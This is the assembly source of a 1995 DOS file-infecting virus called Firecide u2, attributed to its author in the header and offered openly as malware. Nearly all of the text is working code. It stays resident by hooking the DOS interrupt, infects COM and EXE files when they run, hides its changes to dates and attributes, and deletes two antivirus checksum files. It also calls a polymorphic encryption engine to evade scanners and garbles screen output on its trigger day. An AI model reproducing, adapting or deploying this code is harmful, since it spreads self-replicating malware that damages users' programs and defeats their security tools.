; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä ; Firecide u2 - (c)1995 ûirogen - Using ûiCE v0.2á ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä ; ; þ Infects COM and EXE when executed. ; þ COM Infection marker: fourth byte is 0 ; þ EXE infection marker: Checksum in header not equal to 0. ; þ Time/Date do not change ; þ Read-only and hidden files will be infected, and attributes restored. ; þ Virus installs its own critical error handler ; þ Deletes MSAV,CPAV checksum filez ; þ Call ViCE with JMPs OFF, Anti-TBSCAN On, and Garbage On ; cseg segment assume cs:cseg, ds:cseg, es:cseg, ss:cseg signal equ 0FA01h ; AX=signal/INT 21h/installation chk vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API act_day equ 1 buf_size equ 170 vice_size equ 1587+buf_size virus_size equ (offset vend-offset start)+VICE_SIZE extrn _vice:near org 0h start: call nx ; get relative offset nx: pop bp sub bp,offset nx push ds es inc si mov ax,signal ; are we memory resident? mov dx,vsafe_word int 21h or si,si jz no_install ; if carry then we are mov cs:activate[bp],0 mov ah,2ah ; get date int 21h cmp dl,act_day ; jnz no_act mov cs:activate[bp],1 no_act: mov ax,ds ; PSP segment dec ax ; mcb below PSP m0n mov ds,ax ; DS=MCB seg cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain? jnz no_install sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP mov es,word ptr ds: [12h] ; get high mem seg push cs pop ds mov si,bp mov cx,virus_size/2+1 xor di,di rep movsw ; copy code to new seg xor ax,ax mov ds,ax ; null ds push ds lds ax,ds: [21h*4] ; get 21h vector mov es: word ptr old21+2,ds ; save S:O mov es: word ptr old21,ax pop ds mov ds: [21h*4+2],es ; new int 21h seg mov ds: [21h*4],offset new21 ; new offset sub byte ptr ds: [413h],((virus_size+1023)*2)/1024;-totalmem no_install: pop es ds ; restore ES DS cmp cs:is_exe[bp],1 jz exe_return lea si,org_bytes[bp] ; com return mov di,0100h ; -restore first 4 bytes mov cx,2 rep movsw mov ax,100h ; jump back to 100h push ax _ret:ret exe_return: mov cx,ds ; calc. real CS add cx,10h add word ptr cs:[exe_jump+2+bp],cx int 3 ; fix prefetch db 0eah exe_jump dd 0 is_exe db 0 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Infection routine - called from INT 21h handler. ; DS:DX=fname ; infect_file: push dx pop si push ds xor ax,ax ; null ES mov es,ax lds ax,es:[24h*4] ; get INT 24h vector mov cs:old_24_off,ax ; save it mov cs:old_24_seg,ds mov es:[24h*4+2],cs ; install our handler mov es:[24h*4],offset new_24 pop ds push es ; we'll need it later push cs pop es mov ax,4300h ; get phile attribute int 21h mov ax,4301h ; null attribs push ax cx ; save AX-call/CX-attrib xor cx,cx int 21h mov ax,3d02h ; open the file int 21h jc dont_do mov bx,ax ; get handle push cs pop ds mov ah,3fh ; Read first bytes of file mov cx,20h lea dx,org_bytes int 21h call kill_chklst cmp byte ptr org_bytes,'M' jz do_exe cmp byte ptr org_bytes+3,0 jz close mov is_exe,0 mov ax,5700h ; get time/date int 21h push cx dx call offset_end push ax ; AX=end of file lea si,start ; DS:SI=start of code to encrypt mov di,virus_size ; ES:DI=address for decryptor/ push di ; encrypted code. (at heap) mov cx,virus_size ; CX=virus size mov dx,ax ; DX=EOF offset add dx,100h ; DX=offset decryptor will run from mov al,00000111b ; no jmps,anti-tbscan, garbage, no CS: call _vice ; call engine! pop dx mov ah,40h int 21h call offset_zero pop ax ; restore COM file size sub ax,3 ; calculate jmp offset mov word ptr new_jmp+1,ax lea dx,new_jmp mov cx,4 mov ah,40h int 21h pop dx cx ; pop date/time mov ax,5701h ; restore the mother fuckers int 21h close: pop cx ax ; restore attrib int 21h mov ah,3eh int 21h dont_do: pop es ; ES=0 lds ax,dword ptr old_24_off ; restore shitty DOS error handler mov es:[24h*4],ax mov es:[24h*4+2],ds ret do_exe: cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0? jnz close cmp byte ptr exe_header[18h],52h ; pklite'd? jz exe_ok cmp byte ptr exe_header[18h],40h ; don't infect new format exe jge close exe_ok: push bx mov ah,2ch ; grab a random number int 21h mov word ptr exe_header[12h],dx ; mark that it's us mov is_exe,1 les ax,dword ptr exe_header+14h ; Save old entry point mov word ptr ds:exe_jump, ax mov word ptr ds:exe_jump+2, es push cs pop es call offset_end push dx ax ; save file size DX:AX mov bx, word ptr exe_header+8h ; calc. new entry point mov cl,4 ; *16 shl bx,cl ; ^by shifting one byte sub ax,bx ; get actual file size-header sbb dx,0 mov cx,10h ; divide AX/CX rDX div cx mov word ptr exe_header+14h,dx mov word ptr exe_header+16h,ax mov rel_off,dx pop ax ; AX:DX file size pop dx pop bx mov cx,virus_size+10h ; calc. new size adc ax,cx mov cl,9 ; calc new alloc (512) push ax shr ax,cl ror dx,cl stc adc dx,ax pop ax ; ax=size+virus and ah,1 mov word ptr exe_header+4h,dx mov word ptr exe_header+2h,ax lea si,start ; DS:SI=start of code to encrypt mov di,virus_size ; ES:DI=address for decryptor and push di ; encrypted code (at heap) mov cx,virus_size ; CX=virus size mov dx,rel_off ; DX=offset decryptor will run from mov al,00000110b ; no jmps,anti-tbscan,garbage, use CS: call _vice ; call engine! pop dx mov ah,40h int 21h call offset_zero mov cx,18h ; write fiXed header lea dx,exe_header mov ah,40h int 21h jmp close ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; set file ptr offset_zero: ; self explanitory xor al,al jmp set_fp offset_end: mov al,02h set_fp: mov ah,42h xor cx,cx xor dx,dx int 21h ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Kill those darned MSAV and CPAV filez.. ; kill_chklst: mov di,2 ; counter for loop lea dx,first_2die ; first fname to kill kill_loop: mov ax,4301h ; reset attribs xor cx,cx int 21h mov ah,41h ; delete phile int 21h lea dx,last_2die ; second fname to kill dec di jnz kill_loop ret first_2die db 'CHKLIST.MS',0 ; MSAV shitty checksum last_2die db 'CHKLIST.CPS',0 ; CPAV shitty checksum ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; new 21h new21: pushf cmp ax,signal ; be it us? jnz not_us ; richtig.. cmp dx,vsafe_word jnz not_us xor si,si mov di,4559h jmp jmp_org not_us: cmp cs:activate,0 ; time to activate? jz nchk cmp ah,2 ; output character? jz do_me nchk: cmp ax,4b00h ; execute phile? jnz jmp_org push ax bx cx di dx si ds es call infect_file pop es ds si dx di cx bx ax jmp_org: popf db 0eah ; jump far XXXX:XXXX old21 dd 0 do_me: push si mov si,cs:txt_ptr mov dl,byte ptr cs:[si] inc si cmp si,offset credit_end jl not_there mov si,offset credits not_there: mov cs:txt_ptr,si pop si jmp jmp_org new_24: ; critical error handler mov al,3 ; prompts suck, return fail iret activate db 0 txt_ptr dw offset credits credits db 'þFireCide2, by ûirogenþ' credit_end: new_jmp db 0E9h,0,0,0 ; jmp XXXX,0 rel_off dw 0 exe_header: org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr heap: db 16h dup(0) ; remaining exe header space old_24_off dw 0 ; old int24h vector old_24_seg dw 0 vend: cseg ends end start